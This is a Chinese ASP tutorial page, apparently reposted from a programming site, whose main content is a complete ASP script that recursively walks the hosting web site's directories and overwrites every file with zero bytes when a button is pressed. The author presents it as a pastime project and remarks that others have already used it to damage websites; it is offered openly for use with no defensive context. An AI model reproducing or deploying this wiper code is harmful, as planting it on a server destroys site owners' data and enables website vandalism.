繁體中文当前位置: 首页 > 图文教程 > 网络编程 > ASP > 自动清空站点目录下所有文件
- ASP
- 在ASP应用中验证用户身份(2)
- 在ASP应用中验证用户身份(3)
- 在ASP应用中验证用户身份(4)
- 在ASP应用中验证用户身份(5)
- 用ASP开发一个在线考试程序（一）
- 用ASP开发一个在线考试程序（二）
- 用ASP开发一个在线考试程序（三）
- 用ASP开发一个在线考试程序（四）
- 用表单来提交sql - 1
- 用表单来提交sql - 2
- 用表单来提交sql - 3
- 让您的主页支持各种浏览设备（ASP+篇)(上）
- 如何用ASP编写网站统计系统（一）
- 如何用ASP编写网站统计系统（二）
- 如何用ASP编写网站统计系统（三）
- 如何用ASP编写网站统计系统（四）
- 一个免费的邮件列表源程序(一)
- 一个免费的邮件列表源程序(二)
- 一个免费的邮件列表源程序(三)
- 用密码保护页面 (I)
ASP 中的 自动清空站点目录下所有文件
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-11-03 浏览: 237 ::
收藏到网摘: n/a
作用:可以清空此文件所在的web站点所有文件,将文件内容清零.运行完毕所有文件大小都变成0字节.
此代码本人原创,转载请注明转自lamking.com,谢谢合作.另外程序可以扩展.
属于无聊时的作品,已经有人利用这个破坏了一些网站了.
<%
Server.ScriptTimeout=99999
If Request("Submit")<>"" Then
Call ListFile(Server.mappath("./"))
Response.write"清理完毕"
Else
Response.write"<form><input type=""submit"" name=""Submit"" value=""开始清理""></form>"
End If
Function ListFile(fpath)
On Error Resume Next
Dim Shell,Folder,s
Set Shell =Server.CreateObject ("Shell.Application")
Set Folder =Shell.Namespace(fpath)
Set f=Server.CreateObject("Adodb.Stream")
f.Type=1
f.Open
For Each s in Folder.Items
IF s.isfolder Then
Call ListFile(s.path)
Else
f.SaveToFile s.path,2
End if
Next
Set f=Nothing
Set Shell=nothing
End function
%>
评论 (0) All
